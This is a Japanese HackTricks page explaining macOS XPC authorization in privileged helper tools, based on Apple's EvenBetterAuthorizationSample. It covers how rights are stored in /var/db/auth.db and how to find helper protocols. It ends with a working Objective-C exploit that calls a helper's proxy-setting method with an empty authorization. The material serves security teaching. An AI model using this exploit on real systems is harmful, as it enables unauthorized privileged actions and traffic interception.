htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ ! XPC 認可
Appleは、接続プロセスが公開されたXPCメソッドを呼び出す権限を持っているかどうか を認証する別の方法も提案しています。
アプリケーションが特権ユーザーとしてアクションを実行する必要がある 場合、通常は特権ユーザーとしてアプリを実行する代わりに、アプリからこれらのアクションを実行するために呼び出すことができるXPCサービスとしてHelperToolをrootとしてインストールします。ただし、サービスを呼び出すアプリには十分な認可が必要です。
ShouldAcceptNewConnectionは常にYES
EvenBetterAuthorizationSample に例があります。App/AppDelegate.m
では、HelperTool に接続 しようとします。そして、HelperTool/HelperTool.m
では、shouldAcceptNewConnection
関数は以前に指定された要件をチェックしません。常にYESを返します。
Copy - (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES;
}
詳細な構成方法については、次のチェックを適切に構成する方法に関する情報を参照してください:
page macOS XPC Connecting Process Check アプリケーション権限
ただし、HelperTool からメソッドが呼び出される際には、一部の認可が行われます 。
App/AppDelegate.m
の applicationDidFinishLaunching
関数は、アプリが起動した後に空の認可参照を作成します。これは常に機能するはずです。
その後、setupAuthorizationRights
を呼び出してその認可参照に一部の権限を追加しようとします :
Copy - (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);
// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).
if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}
[self.window makeKeyAndOrderFront:self];
}
関数Common/Common.m
のsetupAuthorizationRights
は、アプリケーションの権限を/var/db/auth.db
という認証データベースに保存します。データベースにまだ存在しない権限のみを追加する方法に注目してください:
Copy + (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus blockErr;
// First get the right. If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.
blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef, // authRef
[authRightName UTF8String], // rightName
(__bridge CFTypeRef) authRightDefault, // rightDefinition
(__bridge CFStringRef) authRightDesc, // descriptionKey
NULL, // bundle (NULL implies main bundle)
CFSTR("Common") // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run. Either way, there's nothing more for
// us to do.
}
}];
}
関数enumerateRightsUsingBlock
は、commandInfo
で定義されたアプリケーションの権限を取得するために使用されます。
Copy static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc = @"authRightDescription";
+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary * sCommandInfo;
dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}
+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}
+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary * commandDict;
NSString * authRightName;
id authRightDefault;
NSString * authRightDesc;
// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.
commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);
authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);
authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);
authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);
block(authRightName, authRightDefault, authRightDesc);
}];
}
これにより、このプロセスの最後には、commandInfo
内で宣言された権限が/var/db/auth.db
に保存されます。各メソッド ごとに、認証が必要な 場合、権限名 と**kCommandKeyAuthRightDefault
**が見つかることに注意してください。後者は、この権限を取得できるユーザー を示します。
権限にアクセスできるユーザーを示すための異なるスコープがあります。それらのいくつかはAuthorizationDB.h で定義されています(ここですべて見つけることができます )。要約すると:
名前 値 説明 kAuthorizationRuleClassAllow
kAuthorizationRuleClassDeny
kAuthorizationRuleIsAdmin
現在のユーザーは管理者である必要があります(管理者グループ内)
kAuthorizationRuleAuthenticateAsSessionUser
authenticate-session-owner
kAuthorizationRuleAuthenticateAsAdmin
ユーザーに認証を要求します。彼は管理者である必要があります(管理者グループ内)
権限の検証
HelperTool/HelperTool.m
内の関数**readLicenseKeyAuthorization
は、そのようなメソッドを実行する権限があるかどうかを確認するために、 checkAuthorization
関数を呼び出すかどうかをチェックします。この関数は、呼び出し元プロセスが送信した authDataが 正しい形式であるかどうかをチェックし、その後、特定のメソッドを呼び出す権限を取得するために 必要なもの**をチェックします。すべてがうまくいけば、返される error
は nil
になります 。
Copy - (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]
// First check that authData looks reasonable.
error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}
// Create an authorization ref from that the external form data contained within.
if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);
// Authorize the right associated with the command.
if (err == errAuthorizationSuccess) {
AuthorizationItem oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights = { 1, &oneRight };
oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);
err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}
if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}
return error;
}
注意してください。そのメソッドを呼び出す権限を取得するための要件を確認するには、authorizationRightForCommand
関数は単に以前にコメントされたオブジェクト commandInfo
をチェックします。その後、関数を呼び出す権限があるかどうかを確認するために AuthorizationCopyRights
を呼び出します(フラグがユーザーとのやり取りを許可していることに注意してください)。
この場合、readLicenseKeyAuthorization
関数を呼び出すには、kCommandKeyAuthRightDefault
が @kAuthorizationRuleClassAllow
に定義されています。そのため、誰でもそれを呼び出すことができます 。
データベース情報
この情報は /var/db/auth.db
に保存されていると言及されています。以下のコマンドで保存されているすべてのルールをリストアップできます:
Copy sudo sqlite3 / var / db / auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%' ;
その後、誰が権限にアクセスできるかを読むことができます:
Copy security authorizationdb read com.apple.safaridriver.allow
許可権
すべての権限構成 はこちら で見つけることができますが、ユーザーの操作が必要ない組み合わせは以下の通りです:
'authenticate-user': 'false'
これは最も直接的なキーです。false
に設定されている場合、ユーザーはこの権利を得るために認証を提供する必要がありません。
これは、以下の2つのいずれかと組み合わせるか、ユーザーが所属するグループを示す 際に使用されます。
ユーザーがルートユーザーとして操作しており(昇格された権限を持つ)、かつこのキーがtrue
に設定されている場合、ルートユーザーは追加の認証なしでこの権利を取得できる可能性があります。ただし、通常、ルートユーザーの状態に到達するにはすでに認証が必要なので、ほとんどのユーザーにとってこれは「認証なし」のシナリオではありません。
true
に設定されている場合、セッションの所有者(現在ログインしているユーザー)は自動的にこの権利を取得します。ユーザーがすでにログインしている場合、追加の認証をバイパスする可能性があります。
このキーは認証なしで権利を付与しません。代わりに、true
に設定されている場合、権利が認証されると、各プロセスが再認証する必要なく複数のプロセス間で共有できることを意味します。ただし、権利の最初の付与には、他のキーと組み合わせない限り、認証が必要です。
Copy Rights with 'authenticate-user' : 'false' :
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
Rights with 'allow-root' : 'true' :
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard
Rights with 'session-owner' : 'true' :
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
認可のリバース
EvenBetterAuthorization の使用を確認する
関数 [HelperTool checkAuthorization:command:]
を見つけた場合、おそらくプロセスは認可のために以前に言及したスキーマを使用しています:
この関数が AuthorizationCreateFromExternalForm
、authorizationRightForCommand
、AuthorizationCopyRights
、AuhtorizationFree
などの関数を呼び出している場合、EvenBetterAuthorizationSample を使用しています。
特権アクションをユーザーの操作なしに呼び出す権限を取得できるかどうかを確認するために /var/db/auth.db
をチェックしてください。
プロトコル通信
次に、XPC サービスと通信を確立するためにプロトコルスキーマを見つける必要があります。
関数 shouldAcceptNewConnection
はエクスポートされているプロトコルを示しています:
この場合、EvenBetterAuthorizationSample と同じものがあります、この行をチェック 。
使用されているプロトコルの名前を知ることで、そのヘッダー定義をダンプ することが可能です:
Copy class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:( NSData * )arg1 restore:( BOOL )arg2 reply:( void (^)( NSError * ))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:( void (^)( NSString * ))arg1;
- (void)connectWithEndpointReply:( void (^)( NSXPCListenerEndpoint * ))arg1;
@end
[...]
最後に、それと通信を確立するために公開された Mach サービスの名前 を知る必要があります。これを見つけるためのいくつかの方法があります:
[HelperTool init]
で使用されている Mach サービスを確認できます:
Copy cat /Library/LaunchDaemons/com.example.HelperTool.plist
[...]
< key >MachServices</ key >
< dict >
< key >com.example.HelperTool</ key >
< true />
</ dict >
[...]
攻撃例
この例では、次のものが作成されます:
Copy // gcc -framework Foundation -framework Security expl.m -o expl
#import <Foundation/Foundation.h>
#import <Security/Security.h>
// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";
// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end
int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;
// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);
// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];
// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];
// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);
// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];
// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];
NSLog(@"Finished!");
}
参考
htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ !